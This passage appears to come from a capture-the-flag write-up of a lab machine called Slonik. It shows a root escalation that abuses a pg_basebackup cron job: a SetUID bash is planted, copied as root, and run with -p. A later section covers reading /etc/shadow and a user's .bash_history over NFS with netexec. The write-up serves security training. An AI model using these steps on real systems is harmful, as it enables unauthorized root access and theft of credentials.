pg_basebackup is used to take a base backup of a running PostgreSQL database cluster. The backup is taken without affecting other clients of the database, and can be used both for point-in-time recovery (see Section 25.3) and as the starting point for a log-shipping or streaming-replication standby server (see Section 26.2).

The files being backed up to /opt/backups/current are the files in /var/lib/postgresql/14/main:

postgres@slonik:~/14/main$ ls
PG_VERSION  pg_commit_ts  pg_multixact  pg_serial     pg_stat_tmp  pg_twophase  postgresql.auto.conf
base        pg_dynshmem   pg_notify     pg_snapshots  pg_subtrans  pg_wal       postmaster.opts
global      pg_logical    pg_replslot   pg_stat       pg_tblspc    pg_xact      postmaster.pid

There are a couple differences:

postgres@slonik:~/14/main$ diff <(ls -1) <(ls /opt/backups/current/ -1)
1a2,3
> backup_label
> backup_manifest
20,21d21
< postmaster.opts
< postmaster.pid

The backup creates two files about the backup, and doesn’t copy the two postmaster files. And, the copied files are owned by root.

I’ll copy bash into the directory (since this is the postgres user’s home directory and it can write here), and set it as SetUID / SetGID:

postgres@slonik:~/14/main$ cp /bin/bash .
postgres@slonik:~/14/main$ chmod 6777 bash

The next time the cron runs, there’s a SetUID / SetGID bash owned by root:

postgres@slonik:/opt/backups/current$ ls -l bash 
-rwsrwsrwx 1 root root 1396520 Feb 10 12:25 bash

I’ll run with -p to not drop privs:

postgres@slonik:/opt/backups/current$ ./bash -p
bash-5.1#

And grab root.txt:

bash-5.1# cat /root/root.txt
2cb582cd************************

Beyond Root

While solving Slonik, I ran into data points with netexec I couldn’t explain:

  • I could read /etc/shadow.
  • I could not read /root/root.txt.
  • I could not read /home/service/.bash_history.

My thinking is that the first two made sense. NFS allows me to be any user / group other than root. Without root, no root.txt. shadow group gives me access to shadow. So what is broken on .bash_history? Turns out it was a bug in Netexec. I’ll go into detail in this video:

I created a PR to fix the bug, which has already been merged. And with that fix it works:

oxdf@hacky$ netexec nfs 10.129.234.160 --get-file /home/service/.bash_history ./
NFS         10.129.234.160    41393  10.129.234.160     [*] Supported NFS versions: (3, 4) (root escape:True)
NFS         10.129.234.160    41393  10.129.234.160     [*] Downloading /home/service/.bash_history to ./.bash_history
NFS         10.129.234.160    41393  10.129.234.160     File successfully downloaded from /home/service/.bash_history to ./.bash_history